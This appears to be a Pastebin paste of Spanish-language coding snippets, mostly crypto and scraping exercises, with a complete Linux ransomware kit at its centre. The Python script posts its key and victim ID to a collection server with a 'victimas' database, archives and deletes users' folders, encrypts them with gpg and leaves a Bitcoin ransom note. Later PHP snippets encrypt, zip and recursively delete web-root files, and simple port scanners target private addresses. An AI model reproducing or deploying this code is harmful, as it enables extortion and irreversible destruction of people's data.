Advertisement
Guest User

txt

a guest
May 27th, 2017
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.62 KB | None | 0 0
  1. cifrado desplazamiento
  2. -------------------------------------------------------------------------------------
  3. #!/usr/bin/python
  4. # -*- coding: utf-8 -*-
  5.  
  6. def cifrar(desplazamiento, texto):
  7. texto_cifrado = ""
  8. for caracter in texto:
  9. texto_cifrado = texto_cifrado + chr(ord(caracter) + desplazamiento)
  10. return texto_cifrado
  11.  
  12. texto_original = "Cifrado y descifrado"
  13. desplazamiento = 3
  14.  
  15. print "Texto Cifrado: " + cifrar(desplazamiento, texto_original)
  16. print "Texto Descifrado " + cifrar(-desplazamiento, cifrar(desplazamiento, texto_original))
  17.  
  18. ---------------------------------------------------------------------------------------------
  19.  
  20. Diffie-Hellman
  21.  
  22. import random
  23. import base64
  24. import hashlib
  25. import sys
  26.  
  27. g=9
  28. p=1001
  29.  
  30. a=random.randint(5, 10)
  31. b=random.randint(10,20)
  32.  
  33. A = (g**a) % p
  34. B = (g**b) % p
  35.  
  36. print 'g: ',g,' (compartir valor:wqes), n: ',p, ' ( numero Primo)'
  37.  
  38. print '\nACalculo de alicia:'
  39. print 'a (Alicia random): ',a
  40. print 'Valor de Alicia (A): ',A,' (g^a) mod p'
  41.  
  42. print '\nBob calcula :'
  43. print 'b (Bob random): ',b
  44. print 'Valor de Bob (B): ',B,' (g^b) mod p'
  45.  
  46. print '\nAlicia Calcula:'
  47. keyA=(B**a) % p
  48. print 'Key: ',keyA,' (B^a) mod p'
  49. print 'Key: ',hashlib.sha256(str(keyA)).hexdigest()
  50.  
  51. print '\nBob calcula :'
  52. keyB=(A**b) % p
  53. print 'Key: ',keyB,' (A^b) mod p'
  54. print 'Key: ',hashlib.sha256(str(keyB)).hexdigest()
  55.  
  56. ----------------------------------------------------------------------
  57. cp di
  58. md5
  59.  
  60. from Crypto.Hash import MD5
  61. m = MD5.new()
  62. m.update('Hola mundo')
  63. print m.hexdigest()
  64. -----------------------------------------------------------------
  65.  
  66. des
  67.  
  68. from Crypto.Cipher import DES
  69. # Como usamos DES, los bloques son de 8 caracteres.
  70. # Rellenamos con espacios (que habra que eliminar al descifrar).
  71. usuario = "John "
  72. password = "Lennon "
  73. # creamos el cifrador con DES
  74. cipher = DES.new('12345678')
  75. # ciframos usuario y password
  76. c_usuario = cipher.encrypt(usuario)
  77. c_password = cipher.encrypt(password)
  78. # enviamos credenciales (a la pantalla en este caso)
  79. print "El cliente envia:"
  80. print "Usuario: " + c_usuario
  81. print "Password: " + c_password
  82.  
  83. #------------------------------------------------------------------
  84. # a partir de aqui simulamos el servidor donde llegan los mensajes
  85. # cifrados.
  86. # desciframos mensajes y quitamos espacios con strip()
  87. cipher = DES.new('12345678')
  88. d_usuario = cipher.decrypt(c_usuario).strip()
  89. d_password = cipher.decrypt(c_password).strip()
  90. print "El servidor descifra:"
  91. print "Usuario: " + d_usuario
  92. print "Password: " + d_password
  93.  
  94. ----------------------------------------------------------------
  95.  
  96. Ransomware escritorio
  97.  
  98.  
  99. instalar lo siguiente:
  100.  
  101. Instalar Servidor Apache:
  102. sudo apt -get update
  103. sudo apt -get install apache2
  104.  
  105. Instalar Servidor Mysql
  106. sudo apt-get install mysql-server
  107.  
  108. Instalar PHP5
  109. sudo apt-get install libapache2-mod-php5 php5 php5-mcrypt php5-mysql
  110.  
  111. ---------------------------------------------------------------
  112.  
  113. crear base de datos
  114.  
  115. CREATE DATABASE ransomware_db;
  116. USE ransomware_db;
  117. CREATE TABLE victimas (ID int NOT NULL AUTO_INCREMENT,
  118. IDD varchar(35),
  119. PASS varchar(35),
  120. PRIMARY KEY (ID));
  121.  
  122.  
  123.  
  124.  
  125. php
  126.  
  127. <?php
  128. $server = "localhost";
  129. $username = "root";
  130. $password = "";
  131. $dbname = "ransomware_db";
  132. $pass = (string)$_POST['pass'];
  133. $id = (string)$_POST['id'];
  134. $conn = new mysqli($server, $username, $password, $dbname);
  135. if ($conn->connect_error) {
  136. die("Connection failed: " . $conn->connect_error);
  137. }
  138. $sql = "INSERT INTO victimas (IDD, PASS) VALUES ('$id', '$pass');";
  139. if ($conn->query($sql) === TRUE) {
  140. echo "Ok.";
  141. } else {
  142. echo "Error: " . $sql . "<br>" . $conn->error;
  143. }
  144. $conn->close();
  145. ?>
  146.  
  147.  
  148.  
  149. #!/usr/bin/python3
  150.  
  151. import os
  152. import sys
  153. import subprocess
  154. import random
  155. import string
  156. import requests
  157. import re
  158.  
  159. def linux():
  160. if(os.geteuid() == 0):
  161. directories.append('/root/')
  162.  
  163. #Genera el password de cifrado
  164. s = string.ascii_lowercase + string.digits
  165. pwd = str(''.join(random.sample(s, 30)))
  166.  
  167. #Genera un ID unico
  168. t = string.ascii_lowercase
  169. idd = str(''.join(random.sample(t, 10)))
  170.  
  171. #se ejecutan las funciones para cifrar los datos
  172. sendCred(url, pwd, idd)
  173. crypt(directories, pwd)
  174. howto(directories, bitcoin, price)
  175. decryptGen(str(directories))
  176.  
  177.  
  178. def sendCred(url, pwd, idd):
  179. values = {'pass' : pwd,'id' : idd}
  180. r = requests.post(url, values)
  181. page = r.text
  182. if(page != 'Ok.'):
  183. sys.exit('Ocurrio un error al enviar las credenciales')
  184.  
  185. def crypt(directory, pwd):
  186.  
  187. if(type(directory) != list):
  188. sys.exit('El formato recibido es incorrecto!')
  189.  
  190. for dirr in directory:
  191. os.chdir(dirr)
  192. os.system('tar cvf encrypted.tar *')
  193. os.system('find . ! -name encrypted.tar -type f -delete')
  194. os.system('find . ! -name encrypted.tar -type d -delete')
  195. os.system('echo ' + pwd + ' | gpg --passphrase-fd 0 -c encrypted.tar')
  196. os.system('rm encrypted.tar')
  197. os.chdir('../')
  198. print "------------------- "
  199.  
  200. def howto(directory, bitcoin, price):
  201. txt = "\n"
  202. txt +="Hola te estaras preguntando Que paso con tus archivos?\n"
  203. txt +="todos ellos fueron cifrados con RSA-2048\n"
  204. txt +="si los quieres recuperar me debes pagar : """ + str(price) + "\n"
  205. txt +="Mi direccion de bitcoins es: " + bitcoin + "\n"
  206. txt +="1 bitcoin ~= 240 US $ aproximadamente \n"
  207. txt +="Cuando recibas el password usa el archivo decrypt.py\n\n"
  208. txt +="que tengas un lindo dia y mejor suerte para la otra :)\n\n "
  209. archivo = open("recuperar-mis-archivos.txt","wb")
  210. archivo.write(txt)
  211. archivo.close()
  212. for dirr in directory:
  213. os.system("cp 'recuperar-mis-archivos.txt' " + dirr)
  214.  
  215.  
  216. def decryptGen(directory):
  217. txt = ""
  218. txt +="#!/usr/bin/python3\n"
  219. txt +="import os\n"
  220. txt +="import sys\n"
  221. txt +="directory = " + directory + "\n"
  222. txt +="pwd = raw_input('Ingrese el password para decifrar los archivos: ')\n"
  223. txt +="for dirr in directory:\n"
  224. txt +=" os.chdir(dirr)\n"
  225. txt +=" if(os.system('gpg --passphrase ' + pwd + ' -d encrypted.tar.gpg > unencrypted.tar') != 0):\n"
  226. txt +=" sys.exit('Password Incorrecto!')\n"
  227. txt +=" os.system('tar xvf unencrypted.tar')\n"
  228. txt +=" os.system('rm unencrypted.tar')\n"
  229. txt +=" os.system('rm encrypted.tar.gpg')\n"
  230. txt +=" os.system('rm unencrypted.tar')\n"
  231. txt +=" os.system('rm recuperar-mis-archivos.txt')\n"
  232. txt +=" os.chdir('../')\n"
  233. archivo = open("decrypt.py","wb")
  234. archivo.write(txt)
  235. archivo.close()
  236.  
  237. #directorios a cifrar
  238. directories = ['Documentos','Videos' , 'Descargas' , 'Imagenes' , 'Musica']
  239. bitcoin = 'aAhR54GVf45FFf3q2kL' #ingresa aqui tu direccion de BitCoin
  240. price = 3 # Ingresa el monto a pedir
  241. url = 'http://localhost/datosvictima.php' #ingresa la Url a donde se va enviar el id y password
  242.  
  243. #verificar que sistema operativo esta detras
  244. if(sys.platform == 'Linux' or sys.platform == 'linux2'):
  245. linux()
  246. elif(sys.platform == 'Windows'):
  247. sys.exit('Soon supported !')
  248. else:
  249. sys.exit('Not supported !')
  250.  
  251.  
  252. ------------------------------------------------------------------------------
  253.  
  254. python mysql
  255.  
  256. #!/usr/bin/python
  257.  
  258. import MySQLdb
  259.  
  260. conn = MySQLdb.connect (
  261. host = "localhost",
  262. user = "testuser",
  263. passwd = "testpass",
  264. db = "test")
  265.  
  266.  
  267. cursor = conn.cursor ()
  268. cursor.execute ("SELECT VERSION()")
  269. row = cursor.fetchone ()
  270. print "server version:", row[0]
  271. cursor.close ()
  272. conn.close ()
  273.  
  274. --------------------------------------------------------------------------------
  275.  
  276.  
  277. post http
  278.  
  279. import requests
  280. get_response = requests.get(url='http://google.com')
  281. post_data = {'username':'joeb', 'password':'foobar'}
  282. # POST some form-encoded data:
  283. post_response = requests.post(url='http://httpbin.org/post', data=post_data)
  284.  
  285. --------------------------------------------------------------------------------
  286.  
  287. #!/usr/bin/python
  288. # -*- coding: utf-8 -*-
  289. #BeautifulSoup y requests
  290.  
  291. # Importamos las librerias
  292. from bs4 import BeautifulSoup
  293. import requests
  294.  
  295. # Capturamos la url ingresada en la variable "url"
  296. url = raw_input("Ingrese la URL: ")
  297.  
  298. # Capturamos el hml de la pagina web y creamos un objeto Response
  299. r = requests.get("http://" +url)
  300. data = r.text
  301. print ""
  302.  
  303. # Creamos el objeto soup y le pasamos lo capturado con request
  304. soup = BeautifulSoup(data, 'lxml')
  305.  
  306. # Capturamos el titulo de la página y luego lo mostramos
  307. # Lo que hace BeautifulSoup es capturar lo que esta dentro de la etiqueta title de la url
  308. titulo = soup.title.text
  309. print "El titulo de la pagina es: " + titulo
  310. print ""
  311.  
  312. # Buscamos todas etiquetas HTML (a) y luego imprimirmos todo lo que viene despues de "href"
  313. for link in soup.find_all('a'):
  314. print(link.get('href'))
  315.  
  316.  
  317. -------------------------------------------------------------------------
  318.  
  319. #!/usr/bin/env python
  320. # -*- coding: utf-8 -*-
  321.  
  322. #-----------------------------------------------------------------------------
  323. # Incluimos los módulos necesarios.
  324. #-----------------------------------------------------------------------------
  325. from urllib2 import urlopen
  326. from BeautifulSoup import BeautifulSoup
  327.  
  328.  
  329. # Obtiene el título de una página web.
  330. def obtener_titulo(url):
  331.  
  332. # Descargamos la información de la página.
  333. soup = BeautifulSoup(urlopen(url))
  334.  
  335. # Devolvemos únicamente el titulo de la página web.
  336. return soup.title.string
  337.  
  338.  
  339. # Cuenta las etiquetas divs que aparecen en una página web.
  340. def contar_divs(url):
  341.  
  342. # Descargamos la información de la página.
  343. soup = BeautifulSoup(urlopen(url))
  344.  
  345. # Vamos buscando las etiquetas divs.
  346. divs = 0
  347. for div in soup.findAll("div"):
  348. divs += 1
  349.  
  350. return divs
  351.  
  352.  
  353. # El usuario escribe la url
  354. url = raw_input("url = ")
  355.  
  356. # Mostramos la información obtenida.
  357. print obtener_titulo(url) + ': ' + str(contar_divs(url)
  358.  
  359. ---------------------------------------------------------------------------
  360.  
  361. # -*- coding: utf-8 -*-
  362. __author__ = 'RicardoMoya'
  363.  
  364. from bs4 import BeautifulSoup
  365. import requests
  366.  
  367. URL = "http://jarroba.com/"
  368.  
  369. # Realizamos la petición a la web
  370. req = requests.get(URL)
  371.  
  372. # Comprobamos que la petición nos devuelve un Status Code = 200
  373. status_code = req.status_code
  374. if status_code == 200:
  375.  
  376. # Pasamos el contenido HTML de la web a un objeto BeautifulSoup()
  377. html = BeautifulSoup(req.text, "html.parser")
  378.  
  379. # Obtenemos todos los divs donde están las entradas
  380. entradas = html.find_all('div', {'class': 'col-md-4 col-xs-12'})
  381.  
  382. # Recorremos todas las entradas para extraer el título, autor y fecha
  383. for i, entrada in enumerate(entradas):
  384. # Con el método "getText()" no nos devuelve el HTML
  385. titulo = entrada.find('span', {'class': 'tituloPost'}).getText()
  386. # Sino llamamos al método "getText()" nos devuelve también el HTML
  387. autor = entrada.find('span', {'class': 'autor'})
  388. fecha = entrada.find('span', {'class': 'fecha'}).getText()
  389.  
  390. # Imprimo el Título, Autor y Fecha de las entradas
  391. print "%d - %s | %s | %s" % (i + 1, titulo, autor, fecha)
  392.  
  393. else:
  394. print "Status Code %d" % status_code
  395.  
  396. -----------------------------------------------------------------------------
  397.  
  398.  
  399. import socket
  400.  
  401. hosts = ["192.168.1.1", "192.168.2.1", "192.168.2.2", "192.168.2.10"]
  402. ports = [22, 23, 80, 443, 445, 3389]
  403.  
  404. for host in hosts:
  405. for port in ports:
  406. try:
  407. print "[+] Connecting to " + host + ":" + str(port)
  408. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  409. s.settimeout(5)
  410. result = s.connect_ex((host, port))
  411. if result == 0:
  412. print " [*] Port " + str(port) + " open!"
  413. s.close()
  414. except:
  415. pass
  416.  
  417. ------------------------------------------------------------------------------------------
  418.  
  419.  
  420. nmap de python
  421.  
  422. import socket
  423.  
  424. hosts = ["192.168.1.1", "192.168.2.1", "192.168.2.2", "192.168.2.10"]
  425. ports = [22, 23, 80, 443, 445, 3389]
  426.  
  427. for host in hosts:
  428. for port in ports:
  429. try:
  430. print "[+] Connecting to " + host + ":" + str(port)
  431. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  432. s.settimeout(5)
  433. result = s.connect_ex((host, port))
  434. if result == 0:
  435. print " [*] Port " + str(port) + " open!"
  436. s.close()
  437. except:
  438. pass
  439.  
  440. ------------------------------------------------------------------------------------
  441.  
  442.  
  443. comando cifrar linux
  444.  
  445. openssl enc -aes-256-cbc -salt -in file.txt -out file.txt.enc
  446.  
  447.  
  448. -------------------------------------------------------------------------------------------
  449. bootstrap
  450.  
  451. <!DOCTYPE html>
  452. <html lang="es">
  453. <head>
  454. <meta charset="utf-8">
  455. <meta name="viewport" content="width=device-width, initial-scale=1"> <!–Con esto garantizamos que se vea bien en dispositivos móviles–>
  456. <title>Mi primer proyecto con Booststrap</title>
  457.  
  458. <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet" media="screen"> <!–Llamamos al archivo CSS a través de CDN –>
  459. </head>
  460. <body>
  461. <h1>¡Hola mundo!</h1>
  462. <p> Hola a todos desde OpenWebinars.net, mi primera web con Bootsrap ;(</p>
  463.  
  464. <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <!– Importante llamar antes a jQuery para que funcione bootstrap.min.js –>
  465. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script> <!– Llamamos al JavaScript a través de CDN –>
  466. </body>
  467. </html>
  468.  
  469. ---------------------------------------------------------------------------------
  470. exec() - Ejecutar un programa externo
  471. escapeshellcmd() - Escapar meta-caracteres del intérprete de comandos
  472. passthru() - Ejecuta un programa externo y muestra la salida en bruto
  473. popen() - Abre un proceso de un puntero a un fichero
  474. shell_exec() — Ejecutar un comando mediante el intérprete de comandos y devolver la salida completa como una cadena
  475.  
  476. <?php
  477. $salida = shell_exec('ls -lart');
  478. echo "<pre>$salida</pre>";
  479. ?>
  480.  
  481. ---------------------------------------------------------------------------------
  482.  
  483. CREATE USER 'newuser'@'localhost' IDENTIFIED BY 'password';
  484. GRANT ALL PRIVILEGES ON * . * TO 'newuser'@'localhost';
  485. FLUSH PRIVILEGES;
  486.  
  487.  
  488. <?php
  489. $server = "localhost";
  490. $username = "newuser";
  491. $password = "password";
  492. $dbname = "joomla";
  493.  
  494. // Create connection
  495. $conn = new mysqli($server, $username, $password, $dbname);
  496. // Check connection
  497. if ($conn->connect_error) {
  498. die("Connection failed: " . $conn->connect_error);
  499. }
  500.  
  501. $sql = "SELECT SESSION_USER() as u , CURRENT_USER() as b;";
  502. $result = $conn->query($sql);
  503.  
  504. if ($result->num_rows > 0) {
  505. // output data of each row
  506. while($row = $result->fetch_assoc()) {
  507. echo "id: <br>", $row["u"];
  508. echo "id: <br>", $row["b"];
  509. }
  510. } else {
  511. echo "0 results";
  512. }
  513. $conn->close();
  514. ?>
  515. ----------------------------------------------------------------------------------------------
  516. otro ejemplo escaneo puertos
  517. # -*- coding: utf-8 -*-
  518. import socket
  519. import urllib2
  520.  
  521. def Verificar_Puerto(ip, puerto, timeout=3):
  522. socket.setdefaulttimeout(timeout)
  523. con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  524. result = con.connect((ip,puerto))
  525. try:
  526. desc = con.recv(2048)
  527. print "Port " + str(puerto) + " Open " + str(desc)
  528. except:
  529. print "Port {}: Open".format(puerto)
  530. finally:
  531. con.close()
  532.  
  533.  
  534. Verificar_Puerto("192.168.1.142", 21)
  535. Verificar_Puerto("192.168.1.142", 22)
  536. Verificar_Puerto("192.168.1.142", 23)
  537. Verificar_Puerto("192.168.1.142", 25)
  538. Verificar_Puerto("192.168.1.142", 80)
  539. Verificar_Puerto("192.168.1.142", 3306)
  540.  
  541. -----------------------------------------------------------------------------------------------
  542.  
  543. scrapear
  544.  
  545. from bs4 import BeautifulSoup
  546. import requests
  547.  
  548.  
  549. r = requests.get("http://toolbar.netcraft.com/site_report?url=www.ucen.cl")
  550. html = BeautifulSoup(r.text,"lxml")
  551. tabla = html.find('table')
  552. for col in tabla.findAll("tr"):
  553. a = col.findAll("td")[0].getText()
  554. b = col.findAll("td")[1].getText()
  555. print "" + a + " : " + b
  556.  
  557. --------------------------------------------------------------------------------------------
  558.  
  559.  
  560. listar directorios web
  561.  
  562. <?php
  563.  
  564. $base_url = __DIR__;
  565. $directorio = opendir($base_url);
  566.  
  567. while ($archivo = readdir($directorio))
  568. {
  569. if (is_dir($archivo))//verificamos si es o no un directorio
  570. {
  571. echo "[".$archivo . "]<br />"; //de ser un directorio lo envolvemos entre corchetes
  572. }
  573. else
  574. {
  575. echo $archivo . "<br />";
  576. }
  577. }
  578.  
  579.  
  580. ?>
  581.  
  582. segundo ejemplo de listar directorio raiz
  583.  
  584. <?php
  585. error_reporting(E_ALL);
  586. ini_set("display_errors", 1);
  587.  
  588. function List_dir_archiv($ruta){
  589. $rep = opendir($ruta);//Abrimos el directorio
  590. while ($arc = readdir($rep)) {//Recorremos el array
  591. if($arc != '..' && $arc != '.' && $arc != ''){
  592. if(is_dir($ruta."/".$arc)){
  593. echo ">> ".$ruta."/".$arc."<br>";
  594. }else{
  595. echo $ruta."/".$arc."<br>";
  596. }
  597. }
  598. }
  599. closedir($rep);//Cerramos el directorio
  600. clearstatcache(); //Limpia la caché de estado de un archivo
  601. }
  602.  
  603. $doc_root = preg_replace("!${_SERVER['SCRIPT_NAME']}$!", '', $_SERVER['SCRIPT_FILENAME']);
  604. List_dir_archiv($doc_root);
  605.  
  606. ---------------------------------------------------------------------------------------------
  607.  
  608. verificar librerias para cifrar
  609.  
  610. <?php
  611. error_reporting(E_ALL);
  612. ini_set("display_errors", 1);
  613. function Verificar_Librerias(){
  614. if (!extension_loaded('zip')){
  615. echo "Ups, que mala suerte, No se puede usar este programa! <br>";
  616. echo "No esta cargada la extencion Zip <br>";
  617. echo "Se intentara cargar la libreria zip a la fuerza...<br>";
  618. if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
  619. dl('php_zip.dll');
  620. } else {
  621. dl('zip.so');
  622. }
  623. }elseif (!extension_loaded('mcrypt')){
  624. echo "Ups, que mala suerte, No se puede usar este programa! <br>";
  625. echo "No esta cargada la extencion mcrypt <br> ";
  626. echo "Se intentara cargar la libreria mcrypt a la fuerza...<br>";
  627. if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
  628. dl('php_mcrypt.dll');
  629. } else {
  630. dl('mcrypt.so');
  631. }
  632. }else{
  633. echo "Buenas Noticias, este script puede ser usado en este servidor :)";
  634. }
  635. }
  636.  
  637. Verificar_Librerias();
  638.  
  639. ?>
  640.  
  641. ---------------------------------------------------------------------------------------
  642.  
  643. comprimir archivos del directorio raiz
  644.  
  645. <?php
  646. error_reporting(E_ALL);
  647. ini_set("display_errors", 1);
  648.  
  649. $zip = new ZipArchive();
  650.  
  651. $filename = 'test.zip';
  652.  
  653. if($zip->open($filename,ZIPARCHIVE::CREATE)===true) {
  654. $zip->addFile('a.txt');
  655. $zip->addFile('b.txt');
  656. echo 'Creado '.$filename;
  657.  
  658. }
  659. else {
  660. echo 'Error creando '.$filename;
  661. }
  662. $zip->close()
  663. ?>
  664.  
  665.  
  666. ejemplo 2
  667.  
  668.  
  669.  
  670.  
  671. <?php
  672. error_reporting(E_ALL);
  673. ini_set("display_errors", 1);
  674.  
  675. $base_dir = __DIR__;
  676. $doc_root = preg_replace("!${_SERVER['SCRIPT_NAME']}$!", '', $_SERVER['SCRIPT_FILENAME']);
  677. $base_url = preg_replace("!^${doc_root}!", '', $base_dir);
  678. $dir = opendir($doc_root);
  679. print "<> ". $base_dir . "<br>";
  680. print "<> ". $doc_root . "<br>";
  681. print "<> ". $base_url . "<br>";
  682. $zip = new ZipArchive();
  683. $filename = $doc_root.'/test.zip';
  684. print "Guardar en: " . $filename ."<br><br>";
  685. $acum = array();
  686.  
  687. while ($archivo = readdir($dir))
  688. {
  689. if($zip->open($filename,ZIPARCHIVE::CREATE)===true) {
  690. if (is_dir($doc_root."/".$archivo)){ $zip->addFile($doc_root."/".$archivo); }
  691. else { $zip->addFile( $doc_root."/".$archivo); }
  692. }else {
  693. echo 'Error al crear '. $doc_root."/".$archivo;
  694. }
  695. }
  696.  
  697.  
  698. $zip->close();
  699.  
  700. echo "---------------------<br>";
  701.  
  702. ?>
  703. -------------------------------------------------------------------------------------------------------
  704.  
  705.  
  706. cifrar y descifrar archivos comprimidos
  707.  
  708. function encrypt_file($source,$destination,$passphrase,$stream=NULL) {
  709. // $source can be a local file...
  710. if($stream) {
  711. $contents = $source;
  712. // OR $source can be a stream if the third argument ($stream flag) exists.
  713. }else{
  714. $handle = fopen($source, "rb");
  715. $contents = fread($handle, filesize($source));
  716. fclose($handle);
  717. }
  718.  
  719. $iv = substr(md5("\x1B\x3C\x58".$passphrase, true), 0, 8);
  720. $key = substr(md5("\x2D\xFC\xD8".$passphrase, true) . md5("\x2D\xFC\xD9".$passphrase, true), 0, 24);
  721. $opts = array('iv'=>$iv, 'key'=>$key);
  722. $fp = fopen($destination, 'wb') or die("Could not open file for writing.");
  723. stream_filter_append($fp, 'mcrypt.tripledes', STREAM_FILTER_WRITE, $opts);
  724. fwrite($fp, $contents) or die("Could not write to file.");
  725. fclose($fp);
  726.  
  727. }
  728.  
  729. function decrypt_file($file,$passphrase,$fp_salida){
  730.  
  731. $iv = substr(md5("\x1B\x3C\x58".$passphrase, true), 0, 8);
  732. $key = substr(md5("\x2D\xFC\xD8".$passphrase, true) .
  733. md5("\x2D\xFC\xD9".$passphrase, true), 0, 24);
  734. $opts = array('iv'=>$iv, 'key'=>$key);
  735. $fp = fopen($file, 'rb');
  736. stream_filter_append($fp, 'mdecrypt.tripledes', STREAM_FILTER_READ, $opts);
  737. $contents = stream_get_contents($fp);
  738. $file = fopen($fp_salida, 'wb') or die("No se pudo crear el archivo.");
  739. fwrite($file, $contents) or die("No se pudo escribir el archivo.");
  740. fclose($fp);
  741. fclose($fp_salida);
  742. }
  743.  
  744. $fp = "/var/www/html/xas/b/c/compressed2.zip";
  745. $des ="/var/www/html/xas/b/c/compressed.enc.txt";
  746. $passphrase ="1234567";
  747. //encrypt_file($fp,$des,$passphrase);
  748. decrypt_file($des,$passphrase,$fp);
  749.  
  750.  
  751. $zip = new ZipArchive;
  752. if ($zip->open($fp) === TRUE) {
  753. $zip->extractTo('/var/www/html/xas/b/c/new/');
  754. $zip->close();
  755. unlink($des);
  756. unlink($fp);
  757. echo 'Felicitaciones, ya recuperaste tus archvos :)';
  758. } else {
  759. echo 'La clave es incorrecta!';
  760. unlink($fp);
  761. }
  762.  
  763.  
  764.  
  765.  
  766.  
  767.  
  768.  
  769. ?>
  770.  
  771. -----------------------------------------------------------------------------------------
  772.  
  773. eliminar archivos
  774.  
  775.  
  776. <?php
  777. error_reporting(E_ALL);
  778. ini_set("display_errors", 1);
  779.  
  780. function EliminarDirectory($dir) {
  781.  
  782. if(!$dh = @opendir($dir)) return;
  783. while (false !== ($current = readdir($dh))) {
  784. if($current != '.' && $current != '..') {
  785. echo 'Se ha borrado el archivo '.$dir.'/'.$current.'<br/>';
  786. if (!@unlink($dir.'/'.$current))
  787. deleteDirectory($dir.'/'.$current);
  788. }
  789. }
  790. closedir($dh);
  791. echo 'Se ha borrado el directorio '.$dir.'<br/>';
  792. @rmdir($dir);
  793.  
  794. }
  795.  
  796. //$doc_root = preg_replace("!${_SERVER['SCRIPT_NAME']}$!", '', $_SERVER['SCRIPT_FILENAME']);
  797. EliminarDirectory('/var/www/html/prueba');
  798.  
  799. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement